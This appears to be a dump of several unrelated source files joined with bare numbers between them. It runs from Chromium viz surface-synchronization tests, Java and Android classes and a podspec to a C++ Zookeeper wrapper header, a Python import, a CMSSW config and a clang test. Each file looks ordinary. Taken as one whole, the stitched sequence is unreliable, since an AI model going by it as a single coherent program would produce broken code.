EXPECT_TRUE(parent_surface2->HasActiveFrame()); EXPECT_FALSE(parent_surface2->HasPendingFrame()); EXPECT_THAT(parent_surface2->activation_dependencies(), IsEmpty()); // Verify that the old surface is now marked for destruction. EXPECT_TRUE(IsMarkedForDestruction(parent_id1)); EXPECT_FALSE(IsMarkedForDestruction(parent_id2)); } // This test verifies that CompositorFrameSinkSupport does not refer to // a valid but non-existant |last_activated_surface_id_|. TEST_F(SurfaceSynchronizationTest, SetPreviousFrameSurfaceDoesntCrash) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); // The parent CompositorFrame is not blocked on anything and so it should // immediately activate. EXPECT_FALSE(parent_support().last_activated_surface_id().is_valid()); parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that the parent CompositorFrame has activated. EXPECT_FALSE(parent_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); EXPECT_TRUE(parent_support().last_activated_surface_id().is_valid()); // Submit another CompositorFrame to |parent_id|, but this time block it // on |child_id1|. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); // Verify that the surface has both a pending and activate CompositorFrame. EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); // Evict the activated surface in the parent_support. EXPECT_TRUE(parent_support().last_activated_surface_id().is_valid()); parent_support().EvictSurface( parent_support().last_activated_surface_id().local_surface_id()); EXPECT_FALSE(parent_support().last_activated_surface_id().is_valid()); // The CompositorFrame in the evicted |parent_id| activates here because it // was blocked on |child_id1|. child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // parent_support will be informed of the activation of a CompositorFrame // associated with |parent_id|, but we clear |last_active_surface_id_| because // it was evicted before. EXPECT_FALSE(parent_support().last_activated_surface_id().is_valid()); // Perform a garbage collection. |parent_id| should no longer exist. EXPECT_NE(nullptr, GetSurfaceForId(parent_id)); ExpireAllTemporaryReferencesAndGarbageCollect(); EXPECT_EQ(nullptr, GetSurfaceForId(parent_id)); // This should not crash as the previous surface was cleared in // CompositorFrameSinkSupport. parent_support().SubmitCompositorFrame(parent_id2.local_surface_id(), MakeDefaultCompositorFrame()); } // This test verifies that when a surface activates that has the same // FrameSinkId of the primary but its embed token doesn't match, we don't // update the references of the parent. TEST_F(SurfaceSynchronizationTest, SurfaceReferenceTracking_PrimaryEmbedTokenDoesntMatch) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2( kChildFrameSink2, LocalSurfaceId(2, base::UnguessableToken::Create())); const SurfaceId child_id3 = MakeSurfaceId(kChildFrameSink2, 5); // The parent embeds (child_id1, child_id3). parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame( empty_surface_ids(), {SurfaceRange(child_id1, child_id3)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); // Verify that no references exist. EXPECT_THAT(GetReferencesFrom(parent_id), empty_surface_ids()); // Activate |child_id2|. child_support2().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); // Since |child_id2| has a different embed token than both primary and // fallback, it should not be used as a reference even if it has the same // FrameSinkId as the primary. EXPECT_THAT(GetReferencesFrom(parent_id), empty_surface_ids()); // Activate |child_id3|. child_support2().SubmitCompositorFrame(child_id3.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that a reference is acquired. EXPECT_THAT(GetReferencesFrom(parent_id), UnorderedElementsAre(child_id3)); } // This test verifies that a parent referencing a SurfaceRange get updated // whenever a child surface activates inside this range. This should also update // the SurfaceReferences tree. TEST_F(SurfaceSynchronizationTest, SurfaceReferenceTracking_NewerSurfaceUpdatesReferences) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); const SurfaceId child_id3 = MakeSurfaceId(kChildFrameSink1, 3); const SurfaceId child_id4 = MakeSurfaceId(kChildFrameSink2, 1); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame( empty_surface_ids(), {SurfaceRange(child_id1, child_id4)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); // Verify that no references exist. EXPECT_THAT(GetReferencesFrom(parent_id), empty_surface_ids()); // Activate |child_id1|. child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that a reference is acquired. EXPECT_THAT(GetReferencesFrom(parent_id), UnorderedElementsAre(child_id1)); // Activate |child_id2|. child_support1().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that the reference is updated. EXPECT_THAT(GetReferencesFrom(parent_id), UnorderedElementsAre(child_id2)); // Activate |child_id4| in a different frame sink. child_support2().SubmitCompositorFrame(child_id4.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that the reference is updated. EXPECT_THAT(GetReferencesFrom(parent_id), UnorderedElementsAre(child_id4)); // Activate |child_id3|. child_support1().SubmitCompositorFrame(child_id3.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that the reference will not get updated since |child_id3| is in the // fallback's FrameSinkId. EXPECT_THAT(GetReferencesFrom(parent_id), UnorderedElementsAre(child_id4)); } // This test verifies that once a frame sink become invalidated, it should // immediately unblock all pending frames depending on that sink. TEST_F(SurfaceSynchronizationTest, InvalidatedFrameSinkShouldNotBlockActivation) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); // The parent submitted a frame that refers to a future child surface. EXPECT_FALSE(parent_support().last_activated_surface_id().is_valid()); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, {}, {})); // The frame is pending because the child frame hasn't be submitted yet. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_FALSE(parent_support().last_activated_surface_id().is_valid()); // Killing the child sink should unblock the frame because it is known // the dependency can never fulfill. frame_sink_manager().InvalidateFrameSinkId(kChildFrameSink1); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_EQ(parent_id, parent_support().last_activated_surface_id()); } TEST_F(SurfaceSynchronizationTest, EvictSurface) { const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1, 1); // Child-initiated synchronization event: const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 1, 2); // Parent-initiated synchronizaton event: const SurfaceId child_id3 = MakeSurfaceId(kChildFrameSink1, 2, 2); // Submit a CompositorFrame to |child_id1|. child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // Evict |child_id1|. It should get marked for destruction immediately. child_support1().EvictSurface(child_id1.local_surface_id()); EXPECT_TRUE(IsMarkedForDestruction(child_id1)); // Submit a CompositorFrame to |child_id2|. This CompositorFrame should be // immediately rejected because |child_id2| has the same parent sequence // number as |child_id1|. child_support1().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_EQ(nullptr, GetSurfaceForId(child_id2)); // Submit a CompositorFrame to |child_id3|. It should not be accepted and not // marked for destruction. child_support1().SubmitCompositorFrame(child_id3.local_surface_id(), MakeDefaultCompositorFrame()); ASSERT_NE(nullptr, GetSurfaceForId(child_id3)); EXPECT_FALSE(IsMarkedForDestruction(child_id3)); } // Tests that in cases where a pending-deletion surface (surface A) is // activated during anothother surface (surface B)'s deletion, we don't attempt // to delete surface A twice. TEST_F(SurfaceSynchronizationTest, SurfaceActivationDuringDeletion) { const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1, 1); // Child-initiated synchronization event: const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 1, 2); const SurfaceId arbitrary_id = MakeSurfaceId(kArbitraryFrameSink, 1); // Submit a CompositorFrame to |child_id1|. child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // Child 1 should not yet be active. Surface* child_surface1 = GetSurfaceForId(child_id1); ASSERT_NE(nullptr, child_surface1); EXPECT_FALSE(child_surface1->HasPendingFrame()); EXPECT_TRUE(child_surface1->HasActiveFrame()); // Submit a CompositorFrame to |child_id2|. child_support1().SubmitCompositorFrame( child_id2.local_surface_id(), MakeCompositorFrame({arbitrary_id}, empty_surface_ranges(), std::vector<TransferableResource>())); // Child 2 should not yet be active. Surface* child_surface2 = GetSurfaceForId(child_id2); ASSERT_NE(nullptr, child_surface2); EXPECT_TRUE(child_surface2->HasPendingFrame()); EXPECT_FALSE(child_surface2->HasActiveFrame()); // Evict |child_id2|. both surfaces should be marked for deletion. child_support1().EvictSurface(child_id1.local_surface_id()); EXPECT_TRUE(IsMarkedForDestruction(child_id1)); EXPECT_TRUE(IsMarkedForDestruction(child_id2)); // Garbage collect to delete the above surfaces. This will activate // |child_id2|, which will cause it to attempt re-deletion. ExpireAllTemporaryReferencesAndGarbageCollect(); // Neither should still be marked for deletion. EXPECT_FALSE(IsMarkedForDestruction(child_id1)); EXPECT_FALSE(IsMarkedForDestruction(child_id2)); } // This test verifies that if a surface is created with new embed token, a new // allocation group is created, and once that surface is destroyed, the // allocation group is destroyed as well. TEST_F(SurfaceSynchronizationTest, AllocationGroupCreationInitiatedBySubmitter) { const SurfaceId surface_id = MakeSurfaceId(kChildFrameSink1, 1, 1); // The allocation group should not exist yet. EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(surface_id)); // Submit a CompositorFrame to |child_id1|. child_support1().SubmitCompositorFrame(surface_id.local_surface_id(), MakeDefaultCompositorFrame()); // The allocation group should now exist. EXPECT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(surface_id)); // Mark the surface for destruction. The allocation group should continue to // exist because the surface won't be actually destroyed until garbage // collection time. child_support1().EvictSurface(surface_id.local_surface_id()); EXPECT_TRUE(surface_manager()->GetSurfaceForId(surface_id)); EXPECT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(surface_id)); // Now garbage-collect. Both allocation group and the surface itself will be // destroyed. surface_manager()->GarbageCollectSurfaces(); EXPECT_FALSE(surface_manager()->GetSurfaceForId(surface_id)); EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(surface_id)); } // This test verifies that if a surface references another surface that has an // embed token that was never seen before, an allocation group will be created // for the embedded surface. TEST_F(SurfaceSynchronizationTest, AllocationGroupCreationInitiatedByEmbedder) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1, 1); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1, 1); // The allocation group should not exist yet. EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(child_id)); // Now submit a CompositorFrame that references |child_id|. An allocation // group will be created for it. CompositorFrame frame = MakeCompositorFrame({}, {SurfaceRange(base::nullopt, child_id)}, {}); parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), std::move(frame)); EXPECT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(child_id)); // Now the parent unembeds the child surface. The allocation group for child // surface should be marked for destruction. However, it won't get actually // destroyed until garbage collection time. parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), MakeDefaultCompositorFrame()); ASSERT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(child_id)); EXPECT_TRUE(surface_manager() ->GetAllocationGroupForSurfaceId(child_id) ->IsReadyToDestroy()); EXPECT_TRUE(allocation_groups_need_garbage_collection()); // Now start garbage-collection. Note that no surface has been deleted // recently, but the allocation group is ready to destroy and must be // garbage-collected. surface_manager()->GarbageCollectSurfaces(); EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(child_id)); EXPECT_FALSE(allocation_groups_need_garbage_collection()); } // This test verifies that if the parent embeds a SurfaceRange that has // different embed tokens at start and end, then initially both allocation // groups are created, but once the primary becomes available, the allocation // group for the fallback gets destroyed. TEST_F(SurfaceSynchronizationTest, FallbackAllocationGroupDestroyedAfterPrimaryAvailable) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1, 1); // The allocation group should not exist yet. EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(child_id1)); EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(child_id2)); // Now submit a CompositorFrame that references |child_id2| as primary and // |child_id1| as the fallback. An allocation group will be created for both // of them. CompositorFrame frame = MakeCompositorFrame({}, {SurfaceRange(child_id1, child_id2)}, {}); parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), std::move(frame)); EXPECT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(child_id1)); EXPECT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(child_id2)); // Make |child_id2| available. The allocation group for |child_id1| should be // marked for destruction. EXPECT_FALSE(allocation_groups_need_garbage_collection()); child_support2().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); ASSERT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(child_id1)); EXPECT_TRUE(surface_manager() ->GetAllocationGroupForSurfaceId(child_id1) ->IsReadyToDestroy()); ASSERT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(child_id2)); EXPECT_FALSE(surface_manager() ->GetAllocationGroupForSurfaceId(child_id2) ->IsReadyToDestroy()); EXPECT_TRUE(allocation_groups_need_garbage_collection()); // Initiate garbage-collection. The allocation group for |child_id1| should be // destroyed but the one for |child_id2| should stay alive. surface_manager()->GarbageCollectSurfaces(); EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(child_id1)); EXPECT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(child_id2)); EXPECT_FALSE(allocation_groups_need_garbage_collection()); } // This test verifies that if the parent embeds a SurfaceRange that has // different embed tokens for primary and fallback and a surface already exists // in the primary's allocation group, we don't create an allocation group for // the fallback at all. TEST_F(SurfaceSynchronizationTest, FallbackAllocationGroupNotCreatedIfPrimaryAvailable) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1, 1); // The allocation group should not exist yet. EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(child_id1)); EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(child_id2)); // Make |child_id2| available. An allocation group should be created for it. child_support2().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(child_id1)); EXPECT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(child_id2)); // Now submit a CompositorFrame that references |child_id2| as primary and // |child_id1| as the fallback. An allocation group should not be created for // the fallback because if the primary is available, we don't need the // fallback. CompositorFrame frame = MakeCompositorFrame({}, {SurfaceRange(child_id1, child_id2)}, {}); parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), std::move(frame)); EXPECT_FALSE(surface_manager()->GetAllocationGroupForSurfaceId(child_id1)); EXPECT_TRUE(surface_manager()->GetAllocationGroupForSurfaceId(child_id2)); } // Verifies that the value of last active surface is correct after embed token // changes. https://crbug.com/967012 TEST_F(SurfaceSynchronizationTest, CheckLastActiveSurfaceAfterEmbedTokenChange) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 2); const SurfaceId parent_id2( kParentFrameSink, LocalSurfaceId(1, base::UnguessableToken::Create())); parent_support().SubmitCompositorFrame(parent_id1.local_surface_id(), MakeDefaultCompositorFrame()); Surface* parent_surface1 = GetSurfaceForId(parent_id1); EXPECT_TRUE(parent_surface1->HasActiveFrame()); EXPECT_FALSE(parent_surface1->HasPendingFrame()); parent_support().SubmitCompositorFrame(parent_id2.local_surface_id(), MakeDefaultCompositorFrame()); Surface* parent_surface2 = GetSurfaceForId(parent_id2); EXPECT_TRUE(parent_surface2->HasActiveFrame()); EXPECT_FALSE(parent_surface2->HasPendingFrame()); // Even though |parent_id1| has a larger sequence number, the value of // |last_activated_surface_id| should be |parent_id2|. EXPECT_EQ(parent_id2, parent_support().last_activated_surface_id()); } // Regression test for https://crbug.com/1000868. Verify that the output of // GetLatestInFlightSurface is correct when there is a conflict between the last // surface in the group and the queried SurfaceRange. TEST_F(SurfaceSynchronizationTest, LatestInFlightSurfaceConflict) { const SurfaceId id1 = MakeSurfaceId(kParentFrameSink, 1, 1); const SurfaceId id2 = MakeSurfaceId(kParentFrameSink, 2, 2); const SurfaceId id3 = MakeSurfaceId(kParentFrameSink, 1, 3); parent_support().SubmitCompositorFrame(id1.local_surface_id(), MakeDefaultCompositorFrame()); parent_support().SubmitCompositorFrame(id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_EQ(GetSurfaceForId(id1), GetLatestInFlightSurface(SurfaceRange(base::nullopt, id3))); } // Check that if two different SurfaceIds with the same embed token are // embedded, viz doesn't crash. https://crbug.com/1001143 TEST_F(SurfaceSynchronizationTest, DuplicateAllocationGroupInActivationDependencies) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child1_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child1_id2 = MakeSurfaceId(kChildFrameSink1, 2); const SurfaceId child2_id1 = MakeSurfaceId(kChildFrameSink2, 1); // Submit a CompositorFrame to |child1_id1| embedding |child2_id1|. CompositorFrame child1_frame = CompositorFrameBuilder() .AddDefaultRenderPass() .SetActivationDependencies({child2_id1}) .SetReferencedSurfaces({SurfaceRange(base::nullopt, child2_id1)}) .Build(); child_support1().SubmitCompositorFrame(child1_id1.local_surface_id(), std::move(child1_frame)); // Submit a CompositorFrame to |parent_id| embedding both |child1_id1| and // |child1_id2|. CompositorFrame parent_frame = CompositorFrameBuilder() .AddDefaultRenderPass() .SetActivationDependencies({child1_id1, child1_id2}) .SetReferencedSurfaces({SurfaceRange(base::nullopt, child1_id1), SurfaceRange(base::nullopt, child1_id2)}) .Build(); // This shouldn't crash. parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), std::move(parent_frame)); // When multiple dependencies have the same embed token, only the first one // should be taken into account. EXPECT_EQ(1u, parent_surface()->activation_dependencies().size()); EXPECT_EQ(child1_id1, *parent_surface()->activation_dependencies().begin()); } } // namespace viz
52,841
829
package io.flowing.retail.zeebe.order.domain; import java.util.ArrayList; import java.util.List; import java.util.UUID; import javax.persistence.CascadeType; import javax.persistence.Entity; import javax.persistence.FetchType; import javax.persistence.GeneratedValue; import javax.persistence.Id; import javax.persistence.OneToMany; import javax.persistence.OneToOne; import org.hibernate.annotations.GenericGenerator; import com.fasterxml.jackson.annotation.JsonProperty; @Entity(name="OrderEntity") public class Order { @Id @GeneratedValue(generator = "uuid2") @GenericGenerator(name = "uuid2", strategy = "uuid2") protected String id = UUID.randomUUID().toString(); @OneToOne(cascade = CascadeType.ALL, fetch = FetchType.EAGER ) protected Customer customer = new Customer(); @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER ) protected List<OrderItem> items = new ArrayList<OrderItem>(); public void addItem(OrderItem i) { items.add(i); } public int getTotalSum() { int sum = 0; for (OrderItem orderItem : items) { sum += orderItem.getAmount(); } return sum; } public String getId() { return id; } @JsonProperty("orderId") public void setId(String id) { this.id = id; } public List<OrderItem> getItems() { return items; } @Override public String toString() { return "Order [id=" + id + ", items=" + items + "]"; } public Customer getCustomer() { return customer; } public void setCustomer(Customer customer) { this.customer = customer; } }
573
391
<filename>play_widget/src/main/java/com/cleveroad/play_widget/OnShadowChangeListener.java package com.cleveroad.play_widget; /** * Interface for shadow change listener. */ interface OnShadowChangeListener { /** * Set shadow percentages for diffusers. * * @param bigDiffuserShadowPercentage shadow percentage for big diffuser (0.0f - 1.0f) * @param mediumDiffuserShadowPercentage shadow percentage for medium diffuser (0.0f - 1.0f) * @param smallDiffuserShadowPercentage shadow percentage for small diffuser (0.0f - 1.0f) */ void shadowChanged(float bigDiffuserShadowPercentage, float mediumDiffuserShadowPercentage, float smallDiffuserShadowPercentage); }
223
5,169
<reponame>Gantios/Specs { "name": "KMPermissionManager", "version": "2.0.0", "summary": "A tool help to handle permission stuff on iOS", "description": "A simple tool help to handle permiss stuff on iOS, with unify permission status.", "homepage": "https://github.com/sleepEarlier/KMPermissionManager.git", "license": { "type": "MIT", "file": "LICENSE" }, "authors": { "<EMAIL>": "sleepEarlier" }, "source": { "git": "https://github.com/sleepEarlier/KMPermissionManager.git", "tag": "2.0.0" }, "platforms": { "ios": "9.0" }, "source_files": "PermissionManager/Classes/**/*", "frameworks": [ "UIKit", "Foundation", "AVFoundation", "Photos", "CoreLocation", "CoreTelephony", "Contacts", "HealthKit" ] }
319
2,380
<gh_stars>1000+ /** * * Copyright 2003-2006 Jive Software. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.jivesoftware.smackx.jingleold.nat; import org.jivesoftware.smack.XMPPException; import org.jivesoftware.smackx.jingleold.JingleSession; import org.jivesoftware.smackx.jingleold.listeners.CreatedJingleSessionListener; import org.jivesoftware.smackx.jingleold.listeners.JingleSessionListener; import org.jivesoftware.smackx.jingleold.media.PayloadType; /** * A Fixed Jingle Transport Manager implementation. * */ public class FixedTransportManager extends JingleTransportManager implements JingleSessionListener, CreatedJingleSessionListener { FixedResolver resolver; public FixedTransportManager(FixedResolver inResolver) { resolver = inResolver; } @Override protected TransportResolver createResolver(JingleSession session) { return resolver; } @Override public void sessionEstablished(PayloadType pt, TransportCandidate rc, TransportCandidate lc, JingleSession jingleSession) { } @Override public void sessionDeclined(String reason, JingleSession jingleSession) { } @Override public void sessionRedirected(String redirection, JingleSession jingleSession) { } @Override public void sessionClosed(String reason, JingleSession jingleSession) { } @Override public void sessionClosedOnError(XMPPException e, JingleSession jingleSession) { } @Override public void sessionMediaReceived(JingleSession jingleSession, String participant) { // Do Nothing } @Override public void sessionCreated(JingleSession jingleSession) { jingleSession.addListener(this); } }
701
323
/* * @Copyright (c) 2018 缪聪(<EMAIL>) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mcg.entity.flow.java; import java.io.Serializable; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlRootElement; import org.hibernate.validator.constraints.NotBlank; @XmlAccessorType(XmlAccessType.NONE) @XmlRootElement public class JavaProperty implements Serializable { private static final long serialVersionUID = -7531917158740164055L; @NotBlank(message = "{flowJava.javaProperty.key.notBlank}") @XmlElement private String key; @NotBlank(message = "{flowJava.javaProperty.name.notBlank}") @XmlElement private String name; @XmlElement private String javaDesc; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getJavaDesc() { return javaDesc; } public void setJavaDesc(String javaDesc) { this.javaDesc = javaDesc; } public String getKey() { return key; } public void setKey(String key) { this.key = key; } }
575
499
from .autox import AutoX from .autoxserver import AutoXServer
17
737
/* zookeeper.h -*- C++ -*- <NAME>, 17 August 2012 Copyright (c) 2012 Datacratic. All rights reserved. */ #pragma once #include <zookeeper/zookeeper.h> #include "jml/arch/exception.h" #include "jml/arch/format.h" #include "jml/utils/guard.h" #include <set> #include <iostream> #include <vector> #include <mutex> #include <thread> #include <condition_variable> #include <unordered_map> namespace Datacratic { //forward declaration struct ZookeeperCallback; typedef void (* ZookeeperCallbackType)(int type, int state, std::string const & path, void * data); struct CallbackInfo { CallbackInfo(ZookeeperCallback *cb=nullptr):callback(cb),valid(false) { } ZookeeperCallback *callback; bool valid; }; typedef std::unordered_map<uintptr_t, CallbackInfo> ZookeeperCallbackMap; class ZookeeperCallbackManager { public: static ZookeeperCallbackManager & instance(); ZookeeperCallbackManager():id_(0) {} uintptr_t createCallback(ZookeeperCallbackType watch, std::string const & path, void * data) ; // returns a pointer to a callback with the specified id. nullptr if not found // note that if found the callback will be removed from the list of callbacks // it is the responsibility of the caller to invoke call on the pointer which // frees up the memory ZookeeperCallback *popCallback(uintptr_t id) ; // Marks callback id with the specified value bool mark(uintptr_t id, bool valid); // sends the specified event to all callbacks and deletes all callbacks void sendEvent(int type, int state) ; // at this point used for tests for want of a better mechanism uintptr_t getId() const { return id_; } private: // global lock for access to the linked list of callbacks std::mutex lock; ZookeeperCallbackMap callbacks_; uintptr_t id_; }; struct ZookeeperCallback { uintptr_t id; ZookeeperCallbackManager *mgr; ZookeeperCallbackType callback; std::string path; void * user; // we want to make sure only the ZookeeperManager can create callbacks friend class ZookeeperCallbackManager; protected: ZookeeperCallback(uint64_t id, ZookeeperCallbackManager *mgr, ZookeeperCallbackType callback, std::string path, void * user) : id(id), mgr(mgr), callback(callback), path(path), user(user) { } public: void call(int type, int state) { callback(type, state, path, user); delete this; } }; /*****************************************************************************/ /* ZOOKEEPER CONNECTION */ /*****************************************************************************/ struct ZookeeperConnection { ZookeeperConnection(); ~ZookeeperConnection() { close(); } static std::string printEvent(int eventType); static std::string printState(int state); /** Connect synchronously. */ void connect(const std::string & host, double timeoutInSeconds = 5.0); /** Connect with a session id and password * * precondition: password.size() <= 16 */ void connectWithCredentials(const std::string & host, int64_t sessionId, const char *password, double timeoutInSeconds = 5.0); std::pair<int64_t, const char *> sessionCredentials() const; void reconnect(); void close(); enum CheckResult { CR_RETRY, ///< Retry the operation CR_DONE ///< Finish the operation }; /** Check the result of an operation. Will either return RETRY if the operation should be redone, DONE if the operation completed, or will throw an exception if there was an error. */ CheckResult checkRes(int returnCode, int & retries, const char * operation, const char * path); std::pair<std::string, bool> createNode(const std::string & path, const std::string & value, bool ephemeral, bool sequence, bool mustSucceed = true, bool createPath = false); /** Delete the given node. If throwIfNodeMissing is false, then a missing node will not be considered an error. Returns if the node was deleted or not, and throws an exception in the case of an error. */ bool deleteNode(const std::string & path, bool throwIfNodeMissing = true); /** Create nodes such that the given path exists. */ void createPath(const std::string & path); /** Remove the entire path including all children. */ void removePath(const std::string & path); /** Return if the node exists or not. */ bool nodeExists(const std::string & path, ZookeeperCallbackType watcher = 0, void * watcherData = 0); std::string readNode(const std::string & path, ZookeeperCallbackType watcher = 0, void * watcherData = 0); void writeNode(const std::string & path, const std::string & value); std::vector<std::string> getChildren(const std::string & path, bool failIfNodeMissing = true, ZookeeperCallbackType watcher = 0, void * watcherData = 0); static void eventHandlerFn(zhandle_t * handle, int event, int state, const char * path, void * context); /** Remove trailing slash so it can be used as a path. */ static std::string fixPath(const std::string & path); std::mutex connectMutex; std::condition_variable cv; std::string host; int recvTimeout; std::shared_ptr<clientid_t> clientId; zhandle_t * handle; struct Node { Node(std::string const & path) : path(path) { } Node(std::string const & path, std::string const & value) : path(path), value(value) { } bool operator<(Node const & other) const { return path < other.path; } std::string path; mutable std::string value; }; std::set<Node> ephemerals; ZookeeperCallbackManager &callbackMgr_; private: void connectImpl(const std::string &host, double timeoutInSeconds, clientid_t *clientId); }; } // namespace Datacratic
2,754
852
import FWCore.ParameterSet.Config as cms # local clusterizer from RecoPPS.Local.ctppsPixelClusters_cfi import ctppsPixelClusters # local rechit producer from RecoPPS.Local.ctppsPixelRecHits_cfi import ctppsPixelRecHits # local track producer from RecoPPS.Local.ctppsPixelLocalTracks_cfi import ctppsPixelLocalTracks ctppsPixelLocalReconstructionTask = cms.Task( ctppsPixelClusters,ctppsPixelRecHits,ctppsPixelLocalTracks ) ctppsPixelLocalReconstruction = cms.Sequence(ctppsPixelLocalReconstructionTask)
174
3,102
<filename>clang/test/Sema/pr30306.cpp // RUN: %clang_cc1 -x c++ -triple x86_64-pc-linux-gnu -emit-llvm < %s | FileCheck %s struct A { A(int); ~A(); }; int f(const A &); // CHECK: call void @_ZN1AC1Ei // CHECK-NEXT: call i32 @_Z1fRK1A // CHECK-NEXT: call void @_ZN1AD1Ev // CHECK: call void @_ZN1AC1Ei // CHECK-NEXT: call i32 @_Z1fRK1A // CHECK-NEXT: call void @_ZN1AD1Ev template<typename T> void g() { int a[f(3)]; int b[f(3)]; } int main() { g<int>(); }
232
1,799
